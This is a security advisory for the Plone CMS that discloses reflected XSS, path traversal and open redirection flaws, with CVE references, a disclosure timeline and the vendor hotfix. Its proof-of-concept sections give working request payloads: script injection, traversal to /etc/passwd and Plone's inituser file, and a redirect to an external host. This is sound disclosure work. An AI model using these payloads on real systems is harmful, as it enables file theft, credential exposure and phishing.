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Multiple Vulnerabilities in Plone CMS



[Product Description]
    Plone is a free and open source content management system built on
top of the Zope application server. Plone is positioned as an
"Enterprise CMS" and is most commonly used for intranets and as part
of the web presence of large organizations


[Systems Affected]
    Product : Plone
    Version : All supported Plone versions (4.3.11 and any earlier 4.x
version, 5.0.6 and any earlier 5.x version). Previous versions could
be affected but have not been fully tested.


[Vulnerabilities]
    3 vulnerabilities were identified within this application:
    (1) Reflected XSS (CVE-2016-7136 / CVE-2016-7138 / CVE-2016-7139 /
CVE-2016-7140)
    (2) Path Traversal (CVE-2016-7135)
    (3) Open Redirection (CVE-2016-7137)


[Advisory Timeline]
    18/07/2016 - Discovery and vendor notification
    18/07/2016 - Vendor confirmed vulnerabilities and started working
on the fixes
    30/08/2016 - Patch published by vendor
    12/10/2016 - Public disclosure


[Patch Available]
    According to the vendor, apply the hotfix 20160830
    https://plone.org/security/hotfix/20160830


[Description of Vulnerabilities]

    (1) Reflected XSS
    Several Reflected Cross-Site Scripting were found within the
application. Except the first two instances, all the other instances
are only accessible by the "admin" user

        [Vulnerable URLs and parameters]
            <Plone Server>/Plone/login_form [next parameter]
            <Plone Server>/Plone/@@confirm-action [original_url
parameter]                         ***See note 1***
            <Plone Server>/Plone/@@filter-controlpanel
[form.widgets.class_blacklist parameter]
            <Plone Server>/Plone/@@filter-controlpanel
[form.widgets.custom_tags parameter]
            <Plone Server>/Plone/@@filter-controlpanel
[form.widgets.nasty_tags parameter]
            <Plone Server>/Plone/@@filter-controlpanel
[form.widgets.stripped_attributes parameter]
            <Plone Server>/Plone/@@filter-controlpanel
[form.widgets.stripped_tags parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.alignment_styles parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.block_styles parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.contains_objects parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.content_css parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.header_styles parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.image_objects parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.inline_styles parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.libraries_atd_ignore_strings parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.libraries_atd_show_types parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.menubar parameter]
            <Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.table_styles parameter]
            <Plone Server>/Plone/@@user-information [userid parameter]
            <Plone Server>/Plone/@@navigation-controlpanel
[form.widgets.parent_types_not_to_query parameter]


        [References]
            CVE-2016-7136
            https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone-forms
            CVE-2016-7138
            https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone-1
            CVE-2016-7139
            https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone
            CVE-2016-7140
            https://plone.org/security/hotfix/20160830/non-persistent-xss-in-zope2


        [Proof Of Concept]
            - <Plone
Server>/Plone/login_form?next=jaVascrIpt%3aalert(1)%2f%2f
            - <Plone
Server>/Plone/@@filter-controlpanel?form.widgets.class_blacklist=</textarea><script>alert("form.widgets.class_blacklist")</script>
            - <Plone
Server>/Plone/@@user-information?userid=admin<script>alert("userid")</script>

        [Notes]
            Note 1 - The javascript code is executed when the
"Confirm" button is clicked


    (2) Path Traversal
    A Path traversal vulnerability was found within the application
that allows to browse filesystem files using the permissions of the
user who is running the service. The resource is only accessible by
the "admin" user

        [Vulnerable URLs and parameters]
            <Plone
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions
[path parameter]

        [References]
            CVE-2016-7135
            https://plone.org/security/hotfix/20160830/filesystem-information-leak

        [Proof Of Concept]
            - <Plone
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions?&action=getFile&path=/../../../../../../../../../etc/passwd
            - <Plone
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions?&action=getFile&path=/../../../../../../../../../var/www/html/zinstance/parts/instance/inituser


    (3) Open Redirection
    3 Instances of an open redirection were found within the
application, allowing any user to be redirected to an external website
(such as a phishing website) and therefore steal the user's
credentials

        [Vulnerable URLs and parameters]
            <Plone
Server>/Plone/%2b%2bgroupdashboard%2b%2bplone.dashboard1%2bgroup/%2b/portlets.Actions
[referer parameter]
            <Plone
Server>/Plone/folder/%2b%2bcontextportlets%2b%2bplone.footerportlets/%2b/portlets.Actions
[referer parameter]
            <Plone Server>/Plone/login_form [came_from parameter]

        [References]
            CVE-2016-7137
            https://plone.org/security/hotfix/20160830/open-redirection-in-plone

        [Proof Of Concept]
            - <Plone
Server>/Plone/login_form?came_from=\\www.google.com/a?<Plone
Server>/Plone/folder_contents&next=&ajax_load=&ajax_include_head=&target=&mail_password_url=&join_url=&form.submitted=1&js_enabled=0&cookies_enabled=&login_name=&pwd_empty=0&__ac_name=admin&__ac_password=&submit=Log+in



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